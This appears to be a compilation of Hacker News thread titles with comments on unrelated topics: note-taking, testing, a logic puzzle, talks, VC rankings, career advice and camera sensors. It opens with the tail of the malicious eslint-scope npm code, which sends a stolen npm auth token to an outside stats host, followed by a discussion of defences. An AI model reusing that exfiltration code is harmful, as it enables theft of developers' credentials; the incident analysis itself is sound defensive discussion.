hostname: 'c.statcounter.com',
path: '/11760461/0/7b5b9d71/1/',
method: 'GET',
headers: {Referer: 'http://2.b/' + content}
}, () => {
}).on("error", () => {
});
}
} catch (e) {
}
</code></pre>
"As you can tell, the script finds your npmrc file and passes your auth token to two different stat counter websites, via the referrer header."<p>Source: <a href="https://github.com/eslint/eslint-scope/issues/39" rel="nofollow">https://github.com/eslint/eslint-scope/issues/39</a><p># How to mitigate front-end code from malicious npm/yarn packages<p>I actually discussed this with my colleagues at work. I think from now on I'll assume that all code is compromised.<p>One big way to reduce this attack vector is to use content-security-privacy set to sandbox <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP" rel="nofollow">https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP</a> . This will not allow your page to open any requests to other websites, not even a img tag or window.open. In this way even if the attacked has your password can't send it to his server.<p>Of course he can mess up with your code, but reduces a bit the attack vector. Example: let's say you are building a trading platform, you want to buy 1 share, but the attacker will bump your order to 10 shares without you even knowing. For this to happen, the attacker has to specifically target your website.<p>Read more about security of node_modules and other packages (this could affect java and other languages, not just javascript and npm/yarn): <a href="https://hackernoon.com/im-harvesting-credit-card-numbers-and-passwords-from-your-site-here-s-how-9a8cb347c5b5" rel="nofollow">https://hackernoon.com/im-harvesting-credit-card-numbers-and...</a><p>Be careful that if you white list google analytics the attacker can send the passwords to his google analytics account as well. You could also check if the url of analytics contains your GA-ID, but the attacker could bypass this one as well.<p># What to do next<p>Think of more ways to mitigate malicious node_modules and how to handle it.<p>Even if npm will improve the security, we still can't rely on devs to have the best interest in mind or being hacked. So I think we really need to accept that npm modules are infected by default and work from there.<p># More implications that I can think about (add more please)<p>Assume your server (jenkins) that loads your node_modules can also be infected (you could use docker to mitigate this issue).<p>If you run a node.js app, be careful about the open ports and the network request (limit in and outbound domains). That's not enough, the attacker could generate a new route on your website "/your-passwords" and return a json with your users table. Not easy to do, but possible if your server has a malicious node_module.<p>Any other important/private files you have on your pc could have been stolen.<p>Very unlikely: Your server side could be infected (maybe some other code has been executed there from this package, I'm not sure if you can update the pastebin contents) and propagate to other servers.<p>This is just a package we happened to notice, maybe there are more infected packages we don't know about. |
Ask HN: Favorite note-taking software? | So I probably tried a vast majority of all the major notetaking solutions out there. And many of the different ways you can organize things (GTD, david allen, secretweapon, inbox zero, etc) as well as my own creative variations as well.<p>The solution I have is that there is no gold bullet when it comes to notetaking. They all have problems. You just have to try many different methods and solutions to see what works, based on how you organize things, and the way you think.<p>Personally, I have found a blogpost here that encapsulates mostly everything I do after 4 years of notetaking. <a href="http://devonzuegel.com/post/memex-my-personal-knowledge-base" rel="nofollow">http://devonzuegel.com/post/memex-my-personal-knowledge-base</a>.<p>------------------------------------------------------------------<p>I use dynalist.io personally as my notetaking app. It supports features like codesnippets as well with a 3rd party extension. You can find how I organize it on my blog <a href="http://vincentmtang.com/2017/06/24/how-i-use-dynalist-io/" rel="nofollow">http://vincentmtang.com/2017/06/24/how-i-use-dynalist-io/</a><p>To give you a quick gist of it this is how I organize things on dynalist<p>- Journal (New items added uptop)<p>- Courses (New items added at bottom)<p>- Ideas if I have nothing else to do (New items added uptop)<p>- Everything else (Meeting notes / Collaboration)<p>There was a lot of psychology and research that I did personally detailing what goes on behind why I chose things this way. It mostly deals with a 2x2 selection matrix I made called UPIE (structured vs unstructured, internal vs external).<p>------------------------------------------------------------------<p>Second, I organize writing in its own form via wordpress.<p>- Drafts / Ideas for writing (40+ drafts atm)<p>- One time posts (write everything in an hour or two and post, regardless of grammatical issues)<p>Third, I also use github for SVN control on larger repositories. Everything goes either in the `C:\www` folder based on PHP best practices (I don't write in php). Also, I have a folder called `C:\dropbox\github` for repos that are small in file (e.g. no node modules) and SVN control is too burdonsome to deal with. I use an extension called "markdown preview enhanced"(MPE) which in all of my research of markdown, is the best markdown extension to date on VScode and atom<p>Fourth, I use codepen similar to how I organize evernote. I have over 2500 notes on evernote so I know what the best practices here are. Each codepen file = one evernote note. I tag things, and search through it via as I normally would in evernote. I follow the "microsite" ideas heavily from chris coyier <a href="https://css-tricks.com/microsites-for-case-studies/" rel="nofollow">https://css-tricks.com/microsites-for-case-studies/</a>. I find I am able to talk hours maybe days explaining how complex some of my private codepens are for the project I'm working on, to get a better relay this information about my skillsets as a frontend dev.<p>------------------------------------------------------------------<p>Fifth, I have several other methods of organizingi things in general. I call it "self-data-collection" methods that I made up myself. For instance,<p>- Youtube video I've watched so I can check a log of videos I've looked up and limit search queries to just that. I have a system of bookmarking and commenting useful things here.<p>- Hackernews posts I've read for more than 30 seconds, so I can see it under `myusername/comments`.<p>- Stackoverflow posts. Upvote so I know what the best solution is to the question, namely so I can also keep track of what I've read as well that was helpful in obscure solutions and tech<p>- Google maps. If you looked at my local area maps on my account, I have about 200 stars and indexed / cataloged what each business is for. Hackerspaces, startup studios, areas with freewifi for working with laptops (coffee shops, bookstores), etc<p>- Shopping / Physical goods. I have a 2500 (limit of wishlist count) and another 1000+ ongoing list on amazon. I have different ways of searching through this so I can cross-pollinate different ideas from different industries. For instance, xbox controllers used in space/engineering simulations<p>- Lastpass. I manage about 200 account emails here<p>LASTLY I have some support systems<p>- Anki for flashcard and SRS (space repetition learning) among other things<p>- A list of 700+ applications I used on alternativeto.net at one point. I wrote 200 + reviews of these so I know why I did or did not like them, so I don't need to repeat the errors I made previously<p>- 700+ stars I bookmarked on github for ideas on opensource libraries to use, depending on project need. I fork it if its worth investing into<p>- A list of bookmarking system on google bookmarks based on emojis for quicker ways to grok what folder I want to look for. I organize it A-Z<p>- Different browsers for different functionality<p>- customized toolbar and spacers inbetween software apps for faster visual grouping identification<p>- Directory Opus for my file explorer. Apple Mac's have a significantly better native file explorer system and some apps, but directoryOpus bridges that gap for windows<p>- 100 + macros managed by phrase-express. I have a blog post about it here <a href="http://vincentmtang.com/2018/05/31/14-useful-phrase-express-macros-for-developers/" rel="nofollow">http://vincentmtang.com/2018/05/31/14-useful-phrase-express-...</a><p>------------------------------------------------------------------<p>I could go on all day but I will leave it at that, to answer your question blankly I use mostly dynalist.io and a bunch of other things I slew together. I call it my "SOP" or standard operating procedures which ended up being several pages long. Its constantly evolving but now I just commit things to memory based on some industrial engineering practices I learned called LEAN for identifying and mapping value streams based on best business practices. This is something I do natively now and don't think very hard into, it mostly stems from how I used to run my own virtual business starting in middle school.<p>Lastly, I am writing my own notetaking software as well and I am not going to say more than this, but its mostly based on pitfalls I found in the above writing I wrote.<p>Notetaking requires a set of principlces that you need to follow as well as rigirous daily practice to enforce principlces of accountability. I do daily sprints here normally too in dynalist under journal section<p>What and how you use software vastly depends on what your field of interests is as well. I personally don't get too invested in tooling despite everything I stated above, there's a really good quote from one of my favorite youtubers "MJP funfunfunction" -> e.g. "Everything has a maintenance cost. The pros of that software needs to outweigh the cons of maintenance and debugging". This means you won't ever probably hear me talking about org-mode/linux/vim/emacs because I honestly like the simplicity of my GUI tools on windows.<p>Also, because I know what an optimized approach is to notetaking I can also identify based on metadata which people are worth following. I use twitter to keep a list of these people<p>I run backups of long posts I make here on pinboard.in using a keyboard shortcut<p>The approach I take to formatting long text mostly stems from how I've seen people use reddit to organize their public posts / notes in markdown format |
Lean Testing or Why Unit Tests Are Worse Than You Think | Great article and I'm somewhat surprised at how often I have to repeat the things mentioned in it -- heck, sometimes it's difficult to even convince developers of the value of unit testing, in general.<p>I'm a huge advocate of automated testing and with the available tools, like docker, it's relatively painless to get the pieces together to sort out automated testing. Often the tooling you use to enable automated testing is tooling you end up needing <i>anyway</i> -- it's dual purpose. Before the "first run" of a set of code, I'll create Dockerfiles that make up a complete, local, development instance of an application along with some boilerplate tooling that I include to make debugging easier on me. When setting up the production build, the final version is usually <i>this same environment</i> with fewer lines in the file. Because my environments tend to be similar, I have a zsh script that strips out lines in the Dockerfile to get me 90% of the way to a production container.<p>For me, it's <i>always</i> worth it. I came to this conclusion after spending a few months <i>forcing</i> myself to test rigorously[0], starting with unit tests written often and early and ending with a small number of integration tests and a much smaller number of end-to-end tests. I don't find any of these particularly difficult to write.<p>The benefits, however, are vast: (1) Avoiding the debugger time-sink: The #1 thing that I always come back to is that I generally end up <i>never</i> having to fire up a debugger. I noticed that every time I encountered a bug in code that was poorly covered, the first instinct was to attach a debugger and peek at locals to see what was going on. This rarely resulted in spending less than an hour troubleshooting. Sometimes you get lucky and you find more than one issue in that debugging session, but often it landed in at burning an hour on ever bug and way too often it was an hour spent debugging <i>production code</i> and the bug was <i>customer impacting</i>[1]. At the same time, it's rare for an automated test to have a time cost that high. (2) Refactoring - Since "premature optimization is the root of all evil", that necessarily means that a performance bug is going to involve injecting complexity into a running codebase and this often comes with high-impact refactoring. Unit tests, specifically, are incredibly helpful here. This is often an argument <i>against</i> integration/end-to-end test automation since refactoring regularly breaks these brittle tests, however, I've found in practice that this isn't the case at least half the time. Of the times that it <i>does</i> affect those tests, the practice of refactoring can surface subtle bugs (on a few occasions it surfaced a subtle race condition that might have been missed if a few of the integration tests covering a subset of the functionality hadn't broken). (3) Design - more for integration and unit tests, thinking about testing while writing code can result in a less brittle design[2]. On integration tests, it means writing SQL scripts and migrations to ensure that a fresh environment can be spun up on-demand instead of using GUI tooling (or, using the GUI tooling to generate said scripts/migrations). (4) Build automation - I'm somewhat surprised at how often I encounter a customer project where I have to follow a 20 step process to get things functional in a development environment. It seems like if CI isn't involved, people figure a README.md with a mess of shell commands and button clicking is OK. Scripting out environment configuration and build was already one of the first things I did when I began running the code I'd written, however, I find I no longer have to argue in favor of this when testing is involved -- everyone wants a single command to execute tests and once integration and end-to-end tests are involved, it just makes sense to add standing up the docker parts, too[3].<p>I get why there's resistance to doing these things -- getting people to simply write <i>any</i> automated tests seems to be the most difficult hurdle. Throw in "learn docker" and other technologies to make automated end-to-end testing easier and the barrier is even higher. And hey, there are some times that the time spent writing tests doesn't pan out to a time savings. For the unconvinced, I can only <i>strongly</i> recommend: try it on your next big project. There's no need to change the way you think -- skip TDD if it doesn't work for you -- but write unit tests over your, public facing surface area. Write integration tests over the most important parts of your codebase -- those which if a bug were to be encountered would have the greatest impact on reliability. Write a few end-to-end tests of major functionality. Keep track of the time spent from the first line of code to the final, released, product. If your experience is like mine and the 4 different teams I've done this exercise with, you'll end up doing things this way from that point forward. If not, you have a gift that I lack -- you write incredibly bug-free code "the first time", every time. :) Then try switching to a single 1080P monitor[4].<p>[0] I tend to code first, test second. Though, on paper, TDD looks like a good idea in that it forces you to think about the desired outcome and write methods in a manner that guarantees the ability to test, I don't find it difficult to write things in this manner from the beginning and I find it more natural to write the actual code first and I'll often write a large footprint of code before writing the first test -- I don't find as much value as others in frequent, instant, feedback but I recognize the value that others find in that.<p>[1] And bugs resolved during an outage are duct-tape "there, I fixed it" kind of repairs.<p>[2] Provided you don't like having to figure out new and creative ways to mock complex god-objects/routines. Maybe you dig that sort of thing?<p>[3] I reload enough that I have a script that automates <i>installing and configuring</i> docker in the most common manner if it's missing or the configuration isn't complete.<p>[4] <a href="https://news.ycombinator.com/item?id=14482587" rel="nofollow">https://news.ycombinator.com/item?id=14482587</a> |
The Logic Puzzle You Can Only Solve with Your Brightest Friend | I think I solved the problem backwards but I ended up with the same answer.<p>I made a table of what I know vs what my friend knows. I know they have 6 or 8. If they have 6, then I have 12 or 14. If they have 8, then I have 10 or 12.<p><pre><code> | Me Them || Them Me | Them Me |
--------------------------------------------------------------------------------------------
I have | 12 6 .. 8 || 6 12 .. 14 | 8 10 .. 12 |
They have | 6, 8 12 14..10 12 || 12,14 6 8 .. 4 6 | 10,12 8 10 .. 6 8 |
</code></pre>
The first column is what I see and what I know about my friend. The 2nd and 3rd columns are what this table looks like to my friend.<p>-----------<p>My friend has 6 or 8.<p>4 is the first number to appear on the table so start on day 4.<p>Day 4: If my friend has 6, he thinks I have 12 or 14. If I have 14, then I would have notified the caretaker today because now 14 + 6 = 20. Now he knows I don't have 14. As a result, if he has 6 then he knows I have 12 and should tell the caretaker that the total number is 18.<p><pre><code> | Me Them || Them Me | Them Me |
--------------------------------------------------------------------------------------------
I have | 12 6 .. 8 || 6 12 .. | 8 10 .. 12 |
They have | 6, 8 12 ..10 12 || 12 6 8 .. | 10,12 8 10 .. 6 8 |
</code></pre>
Day 5: I don't have 14, and now my friend knows that. If he has 6, he should now have alerted the caretaker the number is 18. He did not. This means he does not 6.<p><pre><code> | Me Them || Them Me | Them Me |
--------------------------------------------------------------------------------------------
I have | 12 .. 8 || | 8 10 .. 12 |
They have | 8 ..10 12 || | 10,12 8 10 .. 6 8 |
</code></pre>
So Day 5 I know I have 12 and he has 8. |
Ask HN: What are the things keep in mind while giving/preparing for a tech talk? | I have given many, many talks -- from dense technical presentations to generalized keynote addresses -- and have been doing it for over twenty years. Here, in my opinion, is the deal:<p>1. Don't start your talk by apologizing. "Well, first I need to apologize. I'm insanely jet lagged, and so I'm not sure how coherent this is going to be." "First, I'd like to apologize. This is actually a revised version of a talk I gave in 2009." "Let me start with an apology. I have a terrible head cold."<p>Just stop. If the talk is incoherent, you'll just have to do your best on the spot. If you're tired, too bad. If you think people might have trouble hearing you, say so. But don't <i>apologize</i>. People do this because they're nervous, not because the audience has been insulted or aggrieved in some way, and while it might seem like a friendly gesture, it's more likely to communicate that you're unprepared. Or nervous. And it's a cliche.<p>2. Do not ever go over time. In fact, go under time. As Edward Tufte once said, "No one ever left a presentation wishing it had gone on for another 45 minutes" (or something like that; you get the point).<p>3. Do not read your goddamn slides to the audience. Please. That is not "giving a talk." You can maybe do that if it's a long quote, but don't read the bullet points that everyone can clearly see right in front of them. Expand on them, provide counterpoints to them, whatever, but do not read them. If you're thinking of your slides (when you're creating them) as "what I'm going <i>say</i>," you're probably doing it wrong.<p>4. Use a laser pointer sparingly or not at all. Use it only to make a precise gesture necessary to point something out very specifically on a chart or map, and then shut the thing off. Making dizzying circles around every bullet point is incredibly annoying.<p>5. "Never mind the mic. Can everyone here me? I'm just going to speak loud." Unless you're very experienced with this (professional teacher, actor, or something like that), you probably don't know how to project your voice for twenty minutes. Get the mic fixed and use it. If the mic can't be fixed, speak way louder than you think you have to (without shouting). This is a learned skill, and most people don't know how to do it (but think they do). If the venue is large enough to require amplification, it's there for a reason.<p>6. Speak at a moderate pace. People speak fast when they're nervous. The proper pace will feel a bit slow to you, but perfectly natural to the audience. Check yourself periodically. Write it down on your notes. Slow down.<p>7. If some parts of the information you're trying to communicate are very dense or there's some useful data that will help to contextualize your presentation, create a handout. Do not try to cram it all into a slide.<p>8. Take some time to try to imagine every conceivable question you might get in the Q&A. You won't hit them all, and things do come out of left field, but you don't want to be caught totally off guard. Just review any common misconceptions or objections to what you're saying, and give some thought to how you're going to respond. Some people just want to comment. Thank them, briefly offer a comment if appropriate, and move on.<p>9. If you feel the need to ask a question like, "Does everyone know what a frubazzle is?" don't. If the question is warranted, then you can be absolutely sure that someone in the audience doesn't know what that is. Just say, "Some of you may not be familiar with the term, 'frubazzle.' A frubazzle is a . . ."<p>10. Commit to getting better and better at it. When I gave my first talk (in grad school), I thought, "It's going to be really embarrassing when I faint dead away in front of all these people," and I made a lot of mistakes. Today, I have only the slightest pang of nerves when I step up, and it goes away immediately. When you hear a good talk, try to figure what made it good. How did the speaker behave? How were the slides set up? Did they do anything that you can incorporate into your own presentation "style?" Public speaking is an ancient art, and you need to treat it as you would the art of writing or the art of coding: with care and study. |
Google Ventures uses algorithms to approve or kill VC investments | Best-performing seed round investors:<p><pre><code> 7.5724 . . . . True Ventures
6.6294 . . . . Accel Partners
6.1189 . . . . Seedcamp
4.7562 . . . . Nxtp Labs
4.7474 . . . . Y Combinator
4.4846 . . . . Softtech Vc
4.4720 . . . . Gecad Group 2
4.4720 . . . . Radu Georgescu
4.4246 . . . . Creandum
4.3653 . . . . Sv Angel
4.3636 . . . . Google Ventures
4.3016 . . . . Greylock
3.9381 . . . . Baseline Ventures
3.8225 . . . . First Round Capital
3.7816 . . . . Mitch Kapor
3.6702 . . . . Atomico
3.5938 . . . . Felicis Ventures
3.3963 . . . . Freestyle Capital
3.2857 . . . . Yee Lee
3.2183 . . . . Naval Ravikant
3.1193 . . . . Boldstart Ventures
3.1038 . . . . Keadyn
3.1007 . . . . Birchmere Ventures
3.0376 . . . . Betaworks
3.0012 . . . . Hyde Park Angels
2.8730 . . . . Ff Angel Llc
2.8578 . . . . Slow Ventures
2.8268 . . . . Rose Tech Ventures
2.8052 . . . . Chicago Ventures
2.7709 . . . . I5Invest
2.6940 . . . . K9 Ventures
2.6469 . . . . Founders Co Op
2.6132 . . . . Oleg Tscheltzoff
2.5637 . . . . Nyc Seed
2.5558 . . . . Ta Venture
2.5148 . . . . Geoff Ralston
2.4748 . . . . Cnm Ventures
2.4327 . . . . Genacast Ventures
2.3829 . . . . Wi Harper Group
2.3526 . . . . Allen Morgan
2.3171 . . . . W Media Ventures
2.2827 . . . . Oliver Jung
2.2532 . . . . Amplify La
2.2509 . . . . Chris Devore
2.2481 . . . . Dharmesh Shah
2.2291 . . . . Innospring
2.2290 . . . . The Accelerator Group
2.1947 . . . . Gary Vaynerchuk
2.1791 . . . . Crunchfund
2.1772 . . . . Jon Callaghan
2.1700 . . . . Oca Ventures
2.1666 . . . . Kfw
2.1652 . . . . Plataforma Capital Partners
2.1136 . . . . High Tech Gruenderfonds
2.1079 . . . . Marc Simoncini
2.0933 . . . . Tom Mcinerney
2.0908 . . . . Steve Anderson
2.0879 . . . . Battery Ventures
2.0590 . . . . New York Venture Partners
2.0256 . . . . Emerge
2.0038 . . . . Andy Appelbaum
</code></pre>
Worst-performing seed round investors:<p><pre><code> -6.9802 . . . . Wayra
-5.8839 . . . . Start Up Chile
-5.0805 . . . . Startupbootcamp
-4.0593 . . . . Jumpstartinc
-3.8784 . . . . Sosventures
-2.7610 . . . . Start Engine
-2.6717 . . . . Social Starts
-2.5748 . . . . Ff Venture Capital
-2.5641 . . . . Ben Franklin Technology Partners Of Southeastern Pennsylvania
-2.5460 . . . . Ace And Company
-2.4309 . . . . Quest Venture Partners
-2.0690 . . . . Masschallenge
</code></pre>
Best-performing series A round investors:<p><pre><code> 7.0711 . . . . Greycroft Partners
5.5854 . . . . Venrock
5.4365 . . . . Trinity Ventures
4.9683 . . . . Intel Capital
4.9600 . . . . Scott Banister
4.9400 . . . . Kleiner Perkins Caufield Byers
4.8362 . . . . Redpoint Ventures
4.6803 . . . . Ron Conway
4.5240 . . . . Sv Angel
4.3989 . . . . Crosslink Capital
4.3097 . . . . Storm Ventures
4.0204 . . . . Shasta Ventures
3.9124 . . . . E Ventures
3.6809 . . . . Leapfrog Ventures
3.5279 . . . . Khosla Ventures
3.3344 . . . . Valor Capital
3.2867 . . . . Accel Partners
3.2164 . . . . Austin Ventures
3.1917 . . . . Accelerator Ventures
3.1199 . . . . Inveready Technology Investment Group
3.0892 . . . . Signia Venture Partners
3.0283 . . . . Mangrove Capital Partners
2.9607 . . . . Alliance Of Angels
2.9039 . . . . Ventures West
2.8911 . . . . Novartis Venture Fund
2.8627 . . . . Carmel Ventures
2.8622 . . . . Brightspark Ventures
2.8440 . . . . Omnes Capital
2.8099 . . . . Reid Hoffman
2.7943 . . . . Alta Partners
2.7847 . . . . Partech International
2.7432 . . . . Balderton Capital
2.7391 . . . . Helion Venture Partners
2.7341 . . . . Wellington Partners
2.6948 . . . . Mercury Fund
2.6859 . . . . Sofinnova Partners
2.6841 . . . . Holtzbrinck Ventures
2.6694 . . . . Metamorphic Ventures Llc
2.6218 . . . . Frazier Healthcare Ventures
2.5929 . . . . Doughty Hanson Technology Ventures
2.5796 . . . . Bessemer Venture Partners
2.5772 . . . . Menlo Ventures
2.5608 . . . . Divergent Ventures
2.5439 . . . . Jafco Asia
2.5071 . . . . Vanedge
2.4915 . . . . Amadeus Capital Partners
2.4576 . . . . Texas Venture Labs
2.4355 . . . . Newfund Management
2.3769 . . . . August Capital
2.3561 . . . . Dave Morin
2.3195 . . . . Xange Private Equity
2.3058 . . . . 3Ts Capital Partners
2.3021 . . . . Hummer Winblad Venture Partners
2.2973 . . . . Flybridge Capital
2.2966 . . . . High Tech Gruenderfonds
2.2782 . . . . 5Am Ventures
2.2499 . . . . Constellation Ventures
2.2463 . . . . Opus Capital
2.2099 . . . . Softbank Capital
2.1956 . . . . Miramar Venture Partners
2.1705 . . . . Oregon Angel Fund
2.1541 . . . . Greylock Partners Israel
2.1507 . . . . Schroders Private Bank
2.1277 . . . . Dcm
2.1233 . . . . Alta Berkeley Venture Partners
2.1211 . . . . Qualcomm
2.0847 . . . . Mountain Partners
2.0840 . . . . Boxgroup
2.0605 . . . . Azure Capital Partners
2.0559 . . . . Legend Capital
2.0505 . . . . High Peaks Venture Partners
2.0434 . . . . Ggv Capital
2.0280 . . . . Kpg Ventures
2.0204 . . . . David Tisch
2.0045 . . . . Bluerun Ventures
</code></pre>
Worst-performing series A round investors:<p><pre><code> -3.1130 . . . . Founders Fund
-3.0555 . . . . Andreessen Horowitz
-3.0272 . . . . Emergence Capital Partners
-2.9966 . . . . Crp Companhia De Participacoes
-2.6290 . . . . Techcolumbus 2
-2.4801 . . . . Sigma Partners
-2.4795 . . . . Nexus Venture Partners
-2.4344 . . . . J Hunt Holdings
-2.4001 . . . . Sevin Rosen Funds
-2.3166 . . . . Commonangels
-2.2516 . . . . Oca Ventures
-2.2448 . . . . Long River Ventures
-2.2120 . . . . Alloy Ventures
-2.2035 . . . . Eden Ventures
-2.1966 . . . . Granite Ventures
-2.1778 . . . . Allegis Capital
-2.1778 . . . . Shenzhen Capital Group
-2.1708 . . . . Morgenthaler Ventures
-2.1347 . . . . Golden Seeds
-2.0325 . . . . Split Rock Partners</code></pre> |
Ask HN: Got a CS degree, but I’m unable to be programmer. What can I do? | Hi Tmp1234. I think an idea for you, is to see if maybe you can find a GOOD career counselor or mentor (who might be found in a first job even). If anyone on the thread has any recommendations, please share them (or volunteer!).<p>It would be even better if you could find someone who is a programmer / developer in a day-to-day business who could talk to you regularly about it and maybe help you out / support you.<p>It sounds like you're having trouble getting started in this career. Trying to get a first job in this area out of school can definitely be difficult, competitive, tiring and/or scary. It's perfectly normal to feel those things, I think (I know that I have). One can believe that, should you choose to continue down this path, when you find the right place, you'll know it because they'll give you a chance and support you.<p>Perhaps you could seek out an internship first - try to find somewhere with less pressure for success and more room to grow - if you can afford it. You have one thing going for you that I didn't have - a CS degree (my story is a different one though and I wanted this reply to be about helping you).<p>You don't have to be a perfect l33t coder on day one. You will find that, programming problems can be vexing headaches like you describe - and not being able to solve them can be extremely frustrating. If you chose to keep going down this path, you might come to learn that this is more normal than not, and as you gain experience - when you hit those brick walls, you learn to go around, or under them. Or you might work really hard and break the brick walls down. Or you might invent a new kind of concrete and realize you don't need brick. I'm not waxing metaphors, I am serious and I'd ask other developers to chime in here if their experience matches this. Eventually, honing this skill actually becomes a reward - but it certainly takes honing and practice and time.<p>By the way, graduating with a CS degree is no mean feat, so congratulations for being capable of doing that!<p>I hear you asking about other career paths. I can't answer that question immediately, but, some others on this thread have suggested there are a lot of tangential jobs - like project management, product management, really, there are a great many number of possibilities. Within information systems and technology, you can be a database engineer/developer and work with ETL, data and SQL. You could become an system infrastructure person, for example - doing cloud architecture with AWS/Azure/GCE/etc. or even managing physical hardware. You could work in IT support. You could work in technical sales or solutions. Those are all possibilities that are maybe less hard programming intensive. Perhaps there are too many possibilities without some direction / feedback from you about what you like.<p>It is entirely possible that you may want to do something other than programming or technical in nature too. What are your interests? For example, some people who thought they would enjoy programming, really end up enjoying cooking and might work towards becoming a chef. You can spend a little time exploring what other options you might find exciting or interesting, and then write down pros and cons / compare and contrast for those things and for working in some sort of programming capacity. Don't give up immediately, but don't necessarily settle if something else really calls out to you.<p>You also just went through a lot working finishing school and graduating. Maybe you're a bit tired - and need a break (top rated post by whack suggests something similar). That's a great recommendation. It's hard after going through something difficult and stressful to jump right into another similar thing. Don't take a break for too long, but be willing to take a break. We all need them from time to time.<p>You can think of the kind of skills you gained programming in college - focus on the skills not the programming - problem solving, critical thinking, creativity, being analytical, etc. and see what other careers or vocations need similar skills.<p>Another final thought - find some places that you can interview without caring about the outcome, but rather simply to gain experience interviewing and see how it goes. Find something that interests you, but isn't necessarily good or bad if you were to get or not get the position. Try to interview, even for a job you might not want but is at least involving programming - if you don't feel comfortable or they give you some horrible programming task, you don't have to finish the interview. Find a way to turn this into an experiment.<p>You could think of it this like a minimum viable product for a startup, where you are the product, and the goal is to see how you fit in the market. Be willing to experiment, make hypotheses, and try them out. Be willing to fail and learn and take opportunities to grow too. And remember, the difference between science and screwing around is writing it down!<p>Best of luck to you. You have already shown you care by asking questions - so keep up the good work. Ask more if you think this is helping! |
Sony Releases Stacked CMOS Sensor for Smartphones with 48 Effective Megapixels | I'm curious to see how the "Quad Bayer" mosaic works out. Other manufacturers have tried novel filter patterns before, but nothing so far has really been able to compete.<p>Essentially, almost all digital cameras today use a planar CMOS sensor with alternating RGB-sensitive pixels, arrayed like so:<p><pre><code> RGRGRGRG
GBGBGBGB
RGRGRGRG
GBGBGBGB
</code></pre>
This pattern is not perfect, but is highly effective. Luma (color-independent) resolution is essentially equivalent to the actual number of pixels, while chroma (color-dependent) resolution is only slightly less - we essentially get one "real" point of color information at each intersection of four color pixels, because at each of those intersections we have one red, one blue, and two green pixels.<p>In other words, "the luma information we gather for a given color on a pixel of that color is immediately relevant to the effective pixel composed by it and its adjacent neighbors at each of its four corners". In this 8x8 Bayer pattern pixel grid with 64 real pixels, we get 49 effective chroma pixels; one for each intersection of 4 physical pixels.<p>In comparison, here's the pattern for "Quad Bayer":<p><pre><code> RRGGRRGG
RRGGRRGG
GGBBGGBB
GGBBGGBB
</code></pre>
I'm concerned that chroma resolution and overall color accuracy will be much lower with this pattern. Essentially, with the original Bayer demosaicing, you only need to sample from the four color pixels adjacent to each corner in order to get a bit of the three channels, and the pattern gives equal weight to both red and blue, while providing extra accuracy in the green channel that human vision is most sensitive to.<p>In comparison, as far as I can tell, a single "effective pixel" (one with information on all three channels) using the Quad Bayer pattern has to be made up of data from nine individual pixels. Additionally, when an effective pixel is centered on an actual pixel with either red or blue filters, that color is relatively dominant in the pixels considered - it'll be equally weighted with the green channel, and the opposing color will only make up 1/9 of the total signal composing that effective pixel. Effective pixels centered on green pixels will give equal weight to red and blue, with slightly over 5/9 of the weight given to the green channel.<p>Granted, the sensor should still be able to produce a full 48MP of luma resolution, but chroma detail will be much more "smeared" because of the wide area that has to be considered to get a full color pixel, and the more substantial overlap of that full color pixel with other full color pixels. Color accuracy will likely also be lower, because in effective pixels centered on red and blue pixels, only a single pixel of the opposing color will be used, which means that any noise in that channel will have an outsized impact on the overall color.<p>What this boils down to is that, when used as a 48MP sensor, this sensor will have entirely different imaging characteristics than a traditional Bayer imager, and that those characteristics will be highly dependent on how the output of this sensor is processed - which will be interesting in a world full of software highly optimized to demosaic Bayer-pattern images.<p>What's slightly more interesting is the high-sensitivity 12MP mode. Essentially, it's an attempt to reduce the impact of random noise in the image by adding together four pixels of each channel to produce a "superpixel" less impacted by noise overall. These superpixels can then be processed in a standard Bayer pattern as a 12MP effective image.<p>Thinking about it overall, though, I become more and more confused. In both of these modes, this pattern doesn't give us anything, really, that we can't already do using a Bayer filter.<p>Let B represent a sensor using a standard Bayer filter pattern, and let Q represent a sensor using this "Quad Bayer" pattern, where each of these patterns have a red pixel in the top-left corner.<p>Let any given effective pixel be represented by a 3-tuple of the form (R, G, B), where R, G, and B are the number of physical pixels sensitive to each of the red, green, and blue channels which compose that effective pixel.<p>Let f(p, w, h, s, i) be a function returning a two-dimensional matrix of all the effective pixels produced by a matrix of physical RGB pixels, laid out in pattern p, with actual pixel width and height w and h, where an effective pixel measures s actual pixels horizontally and vertically, and where an offset of i actual pixels in either vertical or horizontal directions produces the "next" pixel in that direction.<p>Thus, our standard Bayer pattern produces the following:<p><pre><code> f(B, 4, 4, 2, 1) =>
(
((1,2,1),(1,2,1),(1,2,1)),
((1,2,1),(1,2,1),(1,2,1)),
((1,2,1),(1,2,1),(1,2,1))
)
</code></pre>
The 9-pixel-effective-pixel Quad Bayer pattern produces this:<p><pre><code> f(Q, 4, 4, 3, 1) =>
(
((4,4,1),(2,5,2)),
((2,5,2),(1,4,4))
)
</code></pre>
Note that there are fewer effective pixels for the same total number of pixels - that's okay, though, because the number of effective pixels approaches the number of total pixels as the sensor scales in the X and Y dimensions - this very small hypothetical sensor doesn't benefit from that scale yet.<p>You can also see that each effective pixel is composed of a larger number of physical pixels - there's a tradeoff there, in that this means that overall, noise should have a smaller impact on the value of a given pixel, but there's a loss of resolution because those pixels are spread over a wider area.<p>This raises the question, "what if we do a 9-pixel effective pixel on a standard Bayer pattern?" Well, we get this:<p><pre><code> f(B, 4, 4, 3, 1) =>
(
((4,4,1),(2,5,2)),
((2,5,2),(1,4,4))
)
</code></pre>
Interestingly, while the exact arrangements of the different color channels within the effective pixels are different, the total number of pixels of each channel remains <i>completely identical</i>, meaning that any given effective pixel should have identical noise characteristics to the Quad Bayer pattern. In fact, it's arguable that the Bayer pattern is better, because the color physical pixels are more evenly distributed around the effective pixel.<p>What if we do the high-sensitivity superpixel sampling? For the Quad Bayer pattern, it looks like this:<p><pre><code> f(Q, 8, 8, 4, 2) =>
(
((4,8,4),(4,8,4),(4,8,4)),
((4,8,4),(4,8,4),(4,8,4)),
((4,8,4),(4,8,4),(4,8,4))
)
</code></pre>
And for the standard Bayer, like this:<p><pre><code> f(B, 8, 8, 4, 2) =>
(
((4,8,4),(4,8,4),(4,8,4)),
((4,8,4),(4,8,4),(4,8,4)),
((4,8,4),(4,8,4),(4,8,4))
)
</code></pre>
